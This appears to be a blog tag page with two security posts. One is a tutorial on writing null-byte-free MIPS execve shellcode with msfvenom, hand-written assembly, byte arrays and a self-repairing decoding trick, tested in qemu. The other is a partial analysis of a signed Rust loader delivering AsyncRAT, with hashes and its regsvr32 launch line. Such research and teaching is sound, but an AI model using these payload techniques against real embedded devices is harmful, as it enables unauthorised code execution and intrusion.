标签 shellcode 下的文章

引言

在漏洞验证过程中,Shellcode 作为实现任意代码执行的核心载荷,其字节序列必须能够完整、无损地注入目标进程并被成功执行。然而,现实环境中目标程序对外部输入的处理往往伴随着各种限制条件:例如,strcpysprintf 等 C 标准库函数会将 空字节(\x00)视为字符串结束符,一旦在输入中出现,后续数据便会被直接截断;此外,部分协议解析逻辑、输入校验机制或安全防护措施,还可能对特定“危险字符”进行过滤、转义或拒绝处理。若 Shellcode 中包含这些受限字节,极易导致载荷被截断、破坏甚至完全失效,从而使利用过程功亏一篑。

这一问题不仅存在于传统的栈溢出型 Shellcode 注入场景中,在现代利用技术(如 ROP,Return-Oriented Programming)下同样尤为突出。一方面,许多可用 gadget 的地址本身就可能包含 \x00 或其他坏字节,在通过 strcpysprintf 等以空字节为终止符的函数写入时,地址无法被完整拷贝,直接导致 ROP 链构造失败;另一方面,为规避这些坏字节,攻击者往往需要引入额外的 gadget,通过逐字节写入、地址拼接或运行时计算等方式间接构造目标地址或参数。这类方案不仅显著增加了 ROP 链的长度和复杂度,也大幅提升了 gadget 搜索、链条设计与调试的时间成本。

因此,准确识别目标环境中的坏字节,并针对性地制定规避策略,是编写稳定、可靠 Shellcode 乃至构造高成功率利用链的关键前提。下文将围绕 msfvenom 在坏字节处理方面的局限性,系统分析其常见缺陷、实际影响,并结合实战场景介绍有效的绕过思路与技巧。

一、MIPS 寄存器及常用指令描述

类别 名称/助记符 作用描述 技术细节/约定
寄存器 $zero(0) 为 0 无法被修改,常用于清零操作或简单的数值拷贝。
寄存器 $v0 - $v1(2-3) 结果与调用号 $v0 用于存储系统调用号(syscall)或函数的第一个返回值。
寄存器 $a0 - $a3(4-7) 参数传递 调用函数时,前四个参数依次存放在这里。
寄存器 $t0 - $t9(8-15, 24-25) 临时寄存器 随用随写,函数调用时不保证这些值会被保留。
寄存器 $s0 - $s7(16-23) 静态寄存器 存放长期使用的数据,函数调用前后必须保持原值不变。
寄存器 $sp(29) 栈指针 指向当前内存栈的顶部(向低地址增长)。
寄存器 $ra(31) 返回地址 保存子程序执行完后应当返回的指令位置。
--- --- --- ---
算术指令 add / addu 加法 add 会检查溢出,addu(无符号)则不检查。
算术指令 sub / subu 减法 寄存器减法。MIPS 没有 subi,减常数通常用 addi加负数。
算术指令 addi / addiu 立即数加法 将寄存器值与一个 16 位常数相加。
访存指令 lw / sw 加载 / 存储字 lw: 内存 → 寄存器;sw: 寄存器 → 内存。
跳转指令 beq / bne 条件分支 相等(Equal)或不等(Not Equal)则跳转。
跳转指令 j / jal 直接跳转 j 纯跳转;jal 跳转并链接(将返回地址存入 $ra)。
跳转指令 bltzal 小于零跳转并链接 li $a2, 1638; bltzal $a2, 0 这里 $a2 是 1638(大于 0),所以 bltzal 的跳转不会发生。 利用这一点获取当前代码地址, 这是经典 MIPS 获取 PC 技巧。
系统指令 syscall 系统调用 陷入内核态。根据 $v0 中的值,请求内核执行特定操作(如读写文件、退出程序、执行新程序等)。
其他 li 加载立即数 伪指令,用于快速给寄存器赋一个常数值。

二、MSFVenom 生成 MIPS 架构 Shellcode 的局限性及带参命令执行实践

2.1. 初步使用MSFVenom生成mips带参数Shellcode

# 下载安装
wget https://apt.metasploit.com/pool/main/m/metasploit-framework/metasploit-framework_6.4.89~20250916055710~1rapid7-1_amd64.deb
sudo dpkg -i metasploit-framework_6.4.89~20250916055710~1rapid7-1_amd64.deb 

# 用法
msfvenom -l payloads | grep linux/arm
msfvenom --platform linux --arch armle -p linux/armle/exec CMD=/bin/ls -f c
msfvenom --platform linux --arch mipsbe -p linux/mipsbe/exec CMD=/bin/ls -f c          
No encoder specified, outputting raw payload
Payload size: 52 bytes
Final size of c file: 244 bytes
unsigned char buf[] = 
"\x24\x06\x06\x66\x04\xd0\xff\xff\x28\x06\xff\xff\x27\xbd"
"\xff\xe0\x27\xe4\x10\x01\x24\x84\xf0\x1f\xaf\xa4\xff\xe8"
"\xaf\xa0\xff\xec\x27\xa5\xff\xe8\x24\x02\x0f\xab\x01\x01"
"\x01\x0c\x2f\x62\x69\x6e\x2f\x6c\x73\x00";

# hex转汇编命令
echo "2406066604d0ffff2806ffff27bdffe027e410012484f01fafa4ffe8afa0ffec27a5ffe824020fab0101010c2f62696e2f6c7300" | xxd -r -p > mips_code.bin
/root/tools/mips32--glibc--stable-2024.05-1/bin/mips-buildroot-linux-gnu-objdump  -D -b binary -m mips:isa32 --endian=big mips_code.bin

#  msfvenom 生成不含bad的shellcode
msfvenom --platform linux --arch mipsbe -p linux/mipsbe/exec CMD="ls -al" -f c -bad 00 -e mipsbe/byte_xori 
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of mipsbe/byte_xori
mipsbe/byte_xori succeeded with size 156 (iteration=0)
mipsbe/byte_xori chosen with final size 156
Payload size: 156 bytes
Final size of c file: 684 bytes
unsigned char buf[] = 
"\x24\x0e\xff\xc6\x01\xc0\x70\x27\x24\x0b\xff\xac\x05\x10"
"\xff\xff\x28\x08\x87\xd5\x01\x60\x58\x27\x03\xeb\xc8\x21"
"\x03\xeb\x80\x21\x28\x17\xed\x9a\x83\x31\xff\xff\x24\x0d"
"\xff\xfc\x01\xa0\x30\x27\x20\xcf\xff\xfe\x83\x28\xff\xfc"
"\x02\xef\xb8\x21\x39\x03\x4a\x4a\x02\xee\xf0\x2b\xa3\x23"
"\xff\xfc\x17\xc0\xff\xfa\x03\x2f\xc8\x21\x26\x04\xff\xfc"
"\x24\x0a\xff\xcb\x01\x40\x28\x27\x24\x02\x10\x33\x01\x4a"
"\x54\x0c\x4a\x4a\x4a\x4a\x6e\x4c\x4c\x2c\x4e\x9a\xb5\xb5"
"\x62\x4c\xb5\xb5\x6d\xf7\xb5\xaa\x6d\xae\x5a\x4b\x6e\xce"
"\xba\x55\xe5\xee\xb5\xa2\xe5\xea\xb5\xa6\x6d\xef\xb5\xa2"
"\x6e\x48\x45\xe1\x4b\x4b\x4b\x46\x26\x39\x6a\x67\x2b\x26"
"\x4a\x4a";

在嵌入式设备漏洞验证中,MIPS 架构的 Shellcode 常通过 msfvenom 快速生成。然而,msfvenom 在生成 带命令参数的 Shellcode(如执行 cat /etc/passwdwget ... 等)时存在明显缺陷:

缺乏原生支持
msfvenom 提供的 linux/mipsle/execlinux/mipsbe/exec 等 payload 虽可执行指定程序,但不支持直接传入多参数命令(如 -c "command")。用户通常需手动构造完整的 argv 数组(包含程序路径、参数、空终止等),而 msfvenom 无法自动生成此类复杂结构。

        #include 
        #include 
        #include 

        unsigned char shellcode[] =
"\x24\x06\x06\x66\x04\xd0\xff\xff\x28\x06\xff\xff\x27\xbd"
"\xff\xe0\x27\xe4\x10\x01\x24\x84\xf0\x1f\xaf\xa4\xff\xe8"
"\xaf\xa0\xff\xec\x27\xa5\xff\xe8\x24\x02\x0f\xab\x01\x01"
"\x01\x0c\x6c\x73\x20\x2d\x61\x6c\x00\x00";
        int main() {
            void *exec_mem = mmap(NULL, sizeof(shellcode),
                                  PROT_READ | PROT_WRITE | PROT_EXEC,
                                  MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

            if (exec_mem == MAP_FAILED) {
                perror("mmap");
                return 1;
            }

            memcpy(exec_mem, shellcode, sizeof(shellcode));
            printf("Executing shellcode at address: %p\
", exec_mem);

            void (*func)() = (void(*)())exec_mem;
            func();

            munmap(exec_mem, sizeof(shellcode));
            return 0;
        }
# 生成shellcode
msfvenom --platform linux --arch mipsbe -p linux/mipsbe/exec CMD="ls" -f c   # 能执行  
msfvenom --platform linux --arch mipsbe -p linux/mipsbe/exec CMD="ls -al" -f c   #不能执行 
# 编译成可执行文件
/root/tools/mips32--glibc--stable-2024.05-1/bin/mips-buildroot-linux-gnu-gcc -z execstack -static -g -o  mips_verify_shellcode mips_verify_shellcode.c
# qemu模拟执行
qemu-mips-static mips_verify_shellcode
qemu: uncaught target signal 4 (Illegal instruction) - core dumped
[1]    972786 illegal hardware instruction (core dumped)  qemu-mips-static mips_verify_shellcode

执行失败

image.png

2.2. 调用号

echo "2406066604d0ffff2806ffff27bdffe027e410012484f01fafa4ffe8afa0ffec27a5ffe824020fab0101010c6c73202d616c0000" | xxd -r -p > mips_code.bin
/root/tools/mips32--glibc--stable-2024.05-1/bin/mips-buildroot-linux-gnu-objdump  -D -b binary -m mips:isa32 --endian=big mips_code.bin

mips_code.bin:     file format binary

Disassembly of section .data:

00000000 <.data>:
   0:   24060666        li      a2,1638
   4:   04d0ffff        bltzal  a2,0x4
   8:   2806ffff        slti    a2,zero,-1
   c:   27bdffe0        addiu   sp,sp,-32
  10:   27e41001        addiu   a0,ra,4097
  14:   2484f01f        addiu   a0,a0,-4065
  18:   afa4ffe8        sw      a0,-24(sp)
  1c:   afa0ffec        sw      zero,-20(sp)
  20:   27a5ffe8        addiu   a1,sp,-24
  24:   24020fab        li      v0,4011   # 调用号,对应函数execve
  28:   0101010c        syscall 0x40404
  2c:   6c73202d        .word   0x6c73202d
  30:   616c0000        .word   0x616c0000

image.png
先看看 mips 用于命令执行的调用号是多少,4011 对应的就是execve函数。

函数的调用号可在cat /usr/mips-linux-gnu/include/asm/unistd.h下找到

cat  /usr/mips-linux-gnu/include/asm/unistd.h
cat  /usr/mips-linux-gnu/include/asm/unistd_o32.h

image.png

2.3. execve函数

以下将介绍msfvenom 提供的 linux/mipsle/execlinux/mipsbe/exec不支持直接传入参数命令的原因:

先了解execve函数原型:int execve(const char *filename,char *const argv[],char *const envp[]);其中 filename 指定可执行文件路径, argv 为传递给新程序的命令行参数, envp 定义新进程的环境变量。 三个参数均需遵循C字符串规范,且数组必须以NULL指针终结。

  • 第一个参数 filename:是要执行的可执行文件路径(如 "/bin/sh")。
  • 第二个参数 argv[]:是一个以 NULL 结尾的字符串数组,argv[0] 通常也设为可执行文件名(但可任意设置,不影响执行),argv[1]argv[2]... 是传递给该程序的参数。

因此,在构造 Shellcode 调用 execve("/bin/sh", ["/bin/sh", "-c", "command"], NULL) 时:

  • $a0 → 指向 "/bin/sh"(即 filename
  • $a1 → 指向一个指针数组(即 argv),该数组包含:
  • ptr0"/bin/sh"
  • ptr1"-c"
  • ptr2"command"
  • ptr3NULL
  • $a2 → 通常设为 NULLenvp

通过调试找出MSFVenom 生成 MIPS 架构 Shellcode 能执行不带参数命令但不支持直接传入多参数命令的原因。

image.png

qemu-mips-static -g 1234 mips_verify_shellcode
gdb ./mips_verify_shellcode
target remote :1234
b main
c
ni 35 
si

image.png

image.png

image.png

image.png
通过调试可发现a0的值是/bin/ls /,上面说到const char *filename($a0)是可执行文件的路径,系统找不到/bin/ls /可执行文件,所以导致只能执行不带参数的命令。这里可以猜测开发是为了避免出现\x00坏字节才这样构造的,虽然有缺陷但做漏洞验证还是足够。

三、编写shellcode

msfvenom生成mips架构的shellcode优缺点:
优点:shellcode短
缺陷:只能执行不带参数的任意命令,msfvenom提供的bad方案并不能运行(只测试过mips架构)。

msfvenom --list encoders | grep mips
    mipsbe/byte_xori              normal     Byte XORi Encoder
    mipsbe/longxor                normal     XOR Encoder
    mipsle/byte_xori              normal     Byte XORi Encoder
    mipsle/longxor                normal     XOR Encoder
msfvenom --platform linux --arch mipsbe -p linux/mipsbe/exec CMD="ls -al" -f c -bad 00 -e mipsbe/byte_xori

image.png
接下来我们要想执行任意命令且能够携带任意参数,我们需要构造成execve(const char *filename, char *const argv [], char *const envp [])格式,为什么用这个格式?

MIPS(或其他架构)shellcode 中,直接构造多参数命令(如 "/bin/ls", "/", NULL)比较麻烦,因为:

  • 需要多个字符串
  • 需要计算每个字符串的地址(位置无关)
  • argv 数组变长

而通过 execve(const char *filename,char *const argv[],char *const envp[]) 可以把复杂参数打包成一个字符串,只需传递三个固定参数,这样更灵活,尤其适合执行任意命令(如 cat /etc/passwdwget ... 等)。

3.1. 模板一

$s0地址及之后作为数据区域取址给$a0$a1$a2作为命令执行的参数。

$s0     -> $s1 -> 0($sp) -> $a0
$s0, 8  -> $s2 -> 4($sp) -> $a1
$s0, 11 -> $s3 -> 8($sp) -> $a2
ASM_MIPS1 = """
# MIPS execve("/bin/sh", ["/bin/sh", "-c", command], NULL) shellcode
.section .text
.globl __start
.set noreorder

__start:
    # --- 第 1 部分:位置无关代码 (PIC) ---
    bal     find_data
    nop                 # 分支延迟槽, $ra 将指向这里

find_data:
    # $ra 现在指向 nop 指令。
    # 我们需要计算从 nop 到数据区的偏移。
    # 代码部分共 14 条指令 = 56 字节。
    addu $s0, $ra, 56   # $s0 = 数据区的基地址

    # --- 第 2 部分:在栈上构建参数数组 (argv) ---
    move $s1, $s0                               # $s1 -> "/bin/sh"
    addiu $s2, $s0, 8                           # $s2 -> "-c"
    addiu $s3, $s0, 11                          # $s3 -> your_cmd

    # 为 argv 数组在栈上分配空间 (4个指针 = 16字节)
    addiu $sp, $sp, -16

    sw $s1, 0($sp)      # argv[0] = > "/bin/sh"
    sw $s2, 4($sp)      # argv[1] = > "-c"
    sw $s3, 8($sp)      # argv[2] = > command
    sw $zero, 12($sp)   # argv[3] = > NULL

    # --- 第 3 部分:执行系统调用 ---
    move $a0, $s1       # a0 = path
    move $a1, $sp       # a1 = argv
    move $a2, $zero     # a2 = envp

    li $v0, 4011        # syscall: execve
    syscall

# --- 第 4 部分:数据区 ---
.asciiz "/bin/sh"
.asciiz "-c"
.asciiz "{command}"
"""

生成shellcode测试是否能执行命令

shellcode += b"\x04\x11\x00\x01\x00\x00\x00\x00\x27\xf0\x00\x38\x02\x00\x88\x25\x26\x12\x00\x08"
shellcode += b"\x26\x13\x00\x0b\x27\xbd\xff\xf0\xaf\xb1\x00\x00\xaf\xb2\x00\x04\xaf\xb3\x00\x08"
shellcode += b"\xaf\xa0\x00\x0c\x02\x20\x20\x25\x03\xa0\x28\x25\x00\x00\x30\x25\x24\x02\x0f\xab"
shellcode += b"\x00\x00\x00\x0c\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x6c\x73\x20\x2d\x61"
shellcode += b"\x6c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        #include 
        #include 
        #include 

        unsigned char shellcode[] =
"\x04\x11\x00\x01\x00\x00\x00\x00\x27\xf0\x00\x38\x02\x00\x88\x25\x26\x12\x00\x08"
"\x26\x13\x00\x0b\x27\xbd\xff\xf0\xaf\xb1\x00\x00\xaf\xb2\x00\x04\xaf\xb3\x00\x08"
"\xaf\xa0\x00\x0c\x02\x20\x20\x25\x03\xa0\x28\x25\x00\x00\x30\x25\x24\x02\x0f\xab"
"\x00\x00\x00\x0c\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x6c\x73\x20\x2d\x61"
"\x6c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
;
        int main() {
            void *exec_mem = mmap(NULL, sizeof(shellcode),
                                  PROT_READ | PROT_WRITE | PROT_EXEC,
                                  MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

            if (exec_mem == MAP_FAILED) {
                perror("mmap");
                return 1;
            }

            memcpy(exec_mem, shellcode, sizeof(shellcode));
            printf("Executing shellcode at address: %p\
", exec_mem);

            void (*func)() = (void(*)())exec_mem;
            func();

            munmap(exec_mem, sizeof(shellcode));
            return 0;
        }
/root/tools/mips32--glibc--stable-2024.05-1/bin/mips-buildroot-linux-gnu-gcc -z execstack -static -g -o  mips_verify_shellcode mips_verify_shellcode.c
➜   qemu-mips-static mips_verify_shellcode
drwxr-xr-x  2 root root   4096 Jan 12 17:05 .
drwx------ 17 root root   4096 Jan 12 17:05 ..
-rw-r--r--  1 root root   1152 Jan 12 17:05 mips_verify_shellcode.c

这种方式简单,能执行带任意参数的命令。但是\x00坏字节特别多,需要自行xor混淆,在此基础上混淆后的shellcode非常长,遇到溢出有限制的也没法直接使用。所以还是在msfvenom基础上改进吧。
可以看到执行echo 0,解码器+ shellcode长度有200字节了,还是非常长的。
image.png

3.2. 模板二

# 这是由msfvenom生成
mips_code.bin:     file format binary

Disassembly of section .data:

00000000 <.data>:
   0:   24060666        li      a2,1638
   4:   04d0ffff        bltzal  a2,0x4
   8:   2806ffff        slti    a2,zero,-1
   c:   27bdffe0        addiu   sp,sp,-32
  10:   27e41001        addiu   a0,ra,4097
  14:   2484f01f        addiu   a0,a0,-4065
  18:   afa4ffe8        sw      a0,-24(sp)
  1c:   afa0ffec        sw      zero,-20(sp)
  20:   27a5ffe8        addiu   a1,sp,-24
  24:   24020fab        li      v0,4011
  28:   0101010c        syscall 0x40404
  2c:   6c73202d        .word   0x6c73202d
  30:   616c0000        .word   0x616c0000
    # 改进
    ASM_MIPS2 = """
        .set noreorder
        li      $a2,1638
        bltzal  $a2,0
        slti    $a2,$zero,-1

        addiu   $sp,$sp,-32
        addiu   $s3,$ra,4097
        addiu   $a0,$s3,-4041
        addiu   $a1,$s3,-4033
        addiu   $a2,$s3,-4030

        # 自修复代码
        # ....这里是为了表示后续插入一段指令处理坏字节问题。
        # end

        sw      $a0,-24($sp)
        sw  $a1,-20($sp)
        sw      $a2,-16($sp)
        sw      $zero,-12($sp)
        # 将$a0,$a1与$2压入栈中

        addiu   $a1,$sp,-24      # $a1是argv,指的是char const argv []
        addiu   $s4,$zero,1111   # 将$a2设置为0,用两行指令实现也是为了避免坏字节
        addiu   $a2,$s4,-1111
        li      $v0,4011         # execve调用号
        syscall 0x40404

        # --- 第 4 部分:数据区 ---
        .asciiz "/bin/sh"
        .asciiz "-c"
        .asciiz "{command}"
    """
        addiu   $sp,$sp,-32
        addiu   $s3,$ra,4097  # $s3在后续处理坏字节时会有用
        addiu   $a0,$s3,-4041
        addiu   $a1,$s3,-4033 
        addiu   $a2,$s3,-4030

该指令的作用并非将 $s3 的值加上 -4041 后“赋值”给 $a0,而是通过地址偏移计算,获取数据区中某字符串(如 "/bin/sh")的内存地址,并将其作为指针存入 $a0。同理,后续还会通过类似操作计算出 "-c"{command} 字符串在内存中的地址。但需要特别注意:execve 的第二个参数 $a1 并非直接指向这些字符串本身,而是应指向一个指针数组(即 argv 数组)的起始地址,该数组在栈(或数据区)中依次存放着指向 "/bin/sh""-c""{command}" 等字符串的地址,并以一个 NULL 指针结尾。 因此,完整的参数设置逻辑应为:

- $ a0"/bin/sh" 字符串的地址(可执行文件路径);

- $ a1栈上某位置的地址,该位置开始连续存储三个(或更多)指针: [ptr_to_"/bin/sh", ptr_to_"-c", ptr_to_"{command}", NULL]

- $ a2 → 通常设为 NULL(表示 envp 为空)。

——核心是“取址”,而非“取值”或“赋值”,混淆此概念将严重影响对 Shellcode 内存布局的理解。

至于为何使用 addiu $s3, $ra, 4097 来初始化 $s3?这是因为 MIPS 的立即数编码若过小(如

+32+16 等),其机器码低位常包含 \x00(例如 addiu $t0, $zero, 1 编码为 \x24\x48\x00\x01),而 \x00 在多数输入场景下是坏字节,会导致载荷被截断。因此,故意选用一个较大的立即数(如 4097)可避免生成 \x00 字节

后续的偏移量(如 -4041-4033-4030)并非随意选取,而是通过调试计算得出:它们取决于 $s3 的基准地址(由 $ra + 4097 确定)与各字符串在 Shellcode 数据区中的相对位置,同时也受整个 Shellcode 长度影响。调整 Shellcode 内容后,这些偏移通常需要重新校准。

        #include 
        #include 
        #include 

        unsigned char shellcode[] =
"\x24\x06\x06\x66\x04\xd0\xff\xff\x28\x06\xff\xff\x27\xbd\xff\xe0\x27\xf3\x10\x01"
"\x26\x64\xf0\x37\x26\x65\xf0\x3f\x26\x66\xf0\x42\xaf\xa4\xff\xe8\xaf\xa5\xff\xec"
"\xaf\xa6\xff\xf0\xaf\xa0\xff\xf4\x27\xa5\xff\xe8\x24\x14\x04\x57\x26\x86\xfb\xa9"
"\x24\x02\x0f\xab\x01\x01\x01\x0c\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x69"
"\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
;
        int main() {
            void *exec_mem = mmap(NULL, sizeof(shellcode),
                                  PROT_READ | PROT_WRITE | PROT_EXEC,
                                  MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

            if (exec_mem == MAP_FAILED) {
                perror("mmap");
                return 1;
            }

            memcpy(exec_mem, shellcode, sizeof(shellcode));
            printf("Executing shellcode at address: %p\
", exec_mem);

            void (*func)() = (void(*)())exec_mem;
            func();

            munmap(exec_mem, sizeof(shellcode));
            return 0;
        }

先测试一下,能执行说明没有问题。

image.png

image.png

echo "2406066604d0ffff2806ffff27bdffe027f310012664f0372665f03f2666f042afa4ffe8afa5ffecafa6fff0afa0fff427a5ffe8241404572686fba924020fab0101010c2f62696e2f7368002d63006964000000000000000000000000000000" | xxd -r -p > mips_code.bin
/root/tools/mips32--glibc--stable-2024.05-1/bin/mips-buildroot-linux-gnu-objdump  -D -b binary -m mips:isa32 --endian=big mips_code.bin

mips_code.bin:     file format binary

Disassembly of section .data:
00000000 <.data>:
   0:   24060666        li      a2,1638
   4:   04d0ffff        bltzal  a2,0x4
   8:   2806ffff        slti    a2,zero,-1
   c:   27bdffe0        addiu   sp,sp,-32
  10:   27f31001        addiu   s3,ra,4097
  14:   2664f037        addiu   a0,s3,-4041
  18:   2665f03f        addiu   a1,s3,-4033
  1c:   2666f042        addiu   a2,s3,-4030
  20:   afa4ffe8        sw      a0,-24(sp)
  24:   afa5ffec        sw      a1,-20(sp)
  28:   afa6fff0        sw      a2,-16(sp)
  2c:   afa0fff4        sw      zero,-12(sp)
  30:   27a5ffe8        addiu   a1,sp,-24
  34:   24140457        li      s4,1111
  38:   2686fba9        addiu   a2,s4,-1111
  3c:   24020fab        li      v0,4011
  40:   0101010c        syscall 0x40404
  44:   2f62696e        sltiu   v0,k1,26990
  48:   2f736800        sltiu   s3,k1,26624  # /sh\x00 
  4c:   2d630069        sltiu   v1,t3,105    # -c\x00i
  50:   64000000        .word   0x64000000   # d\x00

通过以上汇编指令生成机器码可发现有三处坏字节是无法通过变化指令来避免的,也就是数据区最后的12字节(48,4c,50 ),其中48与4c是固定位置的,偏移量不会改变,而最后四字节需要动态获取。

image.png

四、插入自修复指令解决坏字节问题

模板二的基础上,为解决 bad 字节(坏字符) 问题,需要通过新增指令对原有逻辑进行扩展。其核心思路是利用运行时运算绕过静态字节限制。因此,首先需要掌握的就是最基本的加减运算,其原理直观、实现简单,却在规避坏字节的 Shellcode 中具有极高的实用价值。

    ASM_MIPS2 = """
        .set noreorder
        li      $a2,1638
        bltzal  $a2,0
        slti    $a2,$zero,-1

        addiu   $sp,$sp,-32
        addiu   $s3,$ra,4097
        addiu   $a0,$s3,-4041
        addiu   $a1,$s3,-4033
        addiu   $a2,$s3,-4030

        # 自修复代码
        # ....这里是为了后续插入一段指令解决坏字节问题
        # end

        sw      $a0,-24($sp)
        sw          $a1,-20($sp)
        sw      $a2,-16($sp)
        sw      $zero,-12($sp)
        # 将$a0,$a1与$2压入栈中

        addiu   $a1,$sp,-24      # $a1是argv,也就是数组,压入栈才能正确解析
        addiu   $s4,$zero,1111   # 将$a2设置为0,用两行指令实现也是为了避免坏字节
        addiu   $a2,$s4,-1111
        li      $v0,4011         # execve调用号
        syscall 0x40404

        # --- 第 4 部分:数据区 ---
        .asciiz "/bin/sh"
        .asciiz "-c"
        .asciiz "{command}"
    """

在如下指令后

0:   24060666        li      a2,1638
4:   04d0ffff        bltzal  a2,0x4

插入 0x33333333 对应的占位指令:

8:  33333333        andi    s3, t9, 0x3333

该指令在当前执行上下文中不会触发无效指令异常,同时也不会破坏寄存器状态或影响后续控制流的正常执行,因此可安全地作为填充或运算辅助指令使用。当然,该指令并不局限于放置在当前位置,如根据需求插入到其他位置,只需在后续阶段重新计算相关偏移或地址($t2)即可

在此基础上,为规避 bad 字节 问题,可将原位于 0x480x4c0x50 的目标机器码统一减去 0x33333333,在运行时再通过加法或其他等价运算进行还原,从而实现对受限字节的有效绕过。

image.png
【图 4.1】

2F736800 - 0x33333333 = FC4034CD    # "/sh\x00"
2D630069 - 0x33333333 = FA2FCD36    # "-c\x00i"
64000000 - 0x33333333 = 30CCCCCD    # "d\x00"

将原本位于 0x480x4c0x50 的机器码替换为上述计算后的结果,以确保 Shellcode 在注入阶段不包含受限的坏字节。

在此基础上,通过在自修复(self-modifying)代码段中插入相应的汇编指令,于运行时对这些位置执行加法运算,将减去的 0x33333333 重新补回,从而动态还原原始机器码内容。该方式在不引入坏字节的前提下,实现了对关键数据与指令的完整恢复,确保 Shellcode 能够按照预期逻辑正常执行。

    ASM_MIPS2 = """
        .set noreorder
        li      $a2,1638
        bltzal  $a2,0
        # 0x33333333是shellcode生成后插入的,假设这里存在0x33333333,在计算偏移时需要+4
        slti    $a2,$zero,-1

        addiu   $sp,$sp,-32
        addiu   $s3,$ra,4097
        addiu   $a0,$s3,-3997  # 因为插入了一段自修复代码,所以a1,a2与a3需要重新计算偏移。
        addiu   $a1,$s3,-3989
        addiu   $a2,$s3,-3986

        # 自修复代码
        lw   $t2,-4101($s3)    # -4101($s3)就是取的 0x33333333
        lw   $t3,-3993($s3)    # 取FC4034CD ,地址为0x3fffe074
        addu   $t3,$t3,$t2       # FC4034CD + 0x33333333 = 2F736800
        sw      $t3,-3993($s3) # 将计算后的结果放回0x3fffe074处(见【图 4.2】)

        lw   $t3,-3989($s3)      # 取FA2FCD36 ,地址为0x3fffe078
        addu   $t3,$t3,$t2       # FA2FCD36 + 0x33333333 = 2D630069
        sw      $t3,-3989($s3) # 将计算后的结果放回0x3fffe078处(见【图 4.2】)

        # 此处使用变量 offset 的原因在于:
        # 数据区最后4字节非常容易出现\x00坏字节。
        # 例如字符串:"echo 000000000"
        # 在内存中的表示为:\x65\x63\x68\x6f\x20\x30\x30\x30\x30\x30\x30\x30\x30\x30\x00\x00\x00
        # 其尾部包含多个 \x00,因此需要设置变量动态计算偏移地址。
        lw   $t3,-{offset}($s3)    # 取30CCCCCD 地址为0x3fffe07c
        addu   $t3,$t3,$t2         # 30CCCCCD + 0x33333333 = 64000000
        sw      $t3,-{offset}($s3) # 将计算后的结果放回0x3fffe07c处(见【图 4.2】)
        # end                                           

        sw      $a0,-24($sp)
        sw          $a1,-20($sp)
        sw      $a2,-16($sp)
        sw      $zero,-12($sp)

        addiu   $a1,$sp,-24
        addiu   $s4,$zero,1111   #将 $a2设置为0
        addiu   $a2,$s4,-1111
        li      $v0,4011
        syscall 0x40404

        # --- 第 4 部分:数据区 ---
        .asciiz "/bin/sh"
        .asciiz "-c"
        .asciiz "{command}"
    """

image.png
0x3fffe070 ◂— 0x2f62696e ('/bin') 本身没有坏字节所以不用处理。见上图【图 4.1】

继续往下执行可看到 0x3fffe074,0x3fffe0780x3fffe07c处的值已经还原了。

image.png
【图 4.2】

image.png

image.png

至此,数据已在运行时被完整还原,Shellcode 能够按照预期逻辑稳定执行,shellcode缩短至128 字节;如下图所示,即使在传入额外参数的情况下,载荷未引入 \x00 坏字节,整体执行过程保持正常。

image.png

image.png
该方案可用脚本实现,但还是有些小问题需优化,待完善后再放在评论区。


概述

2025年12月,笔者曾曝光了一款冒用国内数字签名的恶意软件。该恶意软件运行后,将创建计划任务并检测360安全软件进程,并最终在内存中释放AsyncRAT远控木马。

近期,笔者再次关注到该恶意软件的新动向,并捕获了多起采用相同投递手法的攻击样本,其最终目的均为部署AsyncRAT远控木马。

进一步分析,笔者发现此次活动中释放的AsyncRAT木马与此前样本一致,但攻击者在反编译对抗和投递机制方面进行了显著优化:

一方面移除了此前使用的Rust加载器中的程序符号信息,大幅提升了逆向分析的难度;

另一方面对样本投递流程进行了改进,有效降低了后续载荷被直接暴露的风险;

这些变化从侧面反映出,攻击者在规避安全检测与对抗分析方面的能力正在持续增强。

December bill.exe

文件名称:December bill.exe
文件大小:13301800 字节
文件版本:73.75.9.29
修改时间:2026年1月7日 02:07:56
MD5 :CE5BE389732F7A563BF36859D7AA8A8B
SHA1 :B864BBA28EF44433DCBB8799E1820C9EF807FF48
SHA256:eb2df1ba4f3b1a8681594ddcfe605c38749fd6e723bbe5c60dc885d03da0f578

数字签名

通过分析,发现此样本携带了国内数字签名:Leshan Huilai Technology Co., Ltd.(乐山惠徕科技有限公司)

数字签名截图如下:



virustotal平台,样本1月7日数字签名信息如下:



virustotal平台,样本当前数字签名信息如下:



释放并运行文件

通过分析,发现此样本运行后:

将在C:\Users\admin\AppData\Roaming\Microsoft\SystemCertificates\目录释放3935c380_75af_4684_899f_24aee004046f.dll(原始文件名为jhatup.dll)

使用regsvr32.exe程序调用执行3935c380_75af_4684_899f_24aee004046f.dll文件,执行参数为:"regsvr32.exe /s /u "C:\Users\admin\AppData\Roaming\Microsoft\SystemCertificates\3935c380_75af_4684_899f_24aee004046f.dll"

相关截图如下:





jhatup.dll

文件名称:jhatup.dll
文件大小:1709568 字节
文件版本:51.45.71.58
MD5 :CB5BDD69A2D60EFF9CC59A1AD27D10A0
SHA1 :D3C5A4598491477C886C3F15502548D86D67E787
SHA256:ef6292037ef9592510817f6e0265e8754a26ca752d06ba280a7950151a990b62

PDB信息

通过分析,提取样本PDB信息为:secondstage.pdb

备注:此系列恶意软件均存在此PDB字符串特征

相关截图如下:



rust语言

通过分析,发现此样本字符串中携带了大量的rs后缀文件路径,确定此样本是一款rust语言编写的样本程序。

相关截图如下:



解密函数

通过分析,发现此样本运行过程中,将调用字符串解密函数解密提取字符串数据。

相关代码截图如下:





解密字符串

由于此样本是一款rust语言程序,因此,直接对其进行分析,肯定会遇到很多不相关的rust语言库函数。

因此,笔者准备从加密字符串入手,着手将样本中所有字符串解密,即可有效提升分析效率。

在对加密算法进行剖析的过程中,笔者发现此样本的加密算法与笔者上个月发布的《一款针对国内用户的多阶段Rust加载器分析》文章中的加密算法相同。

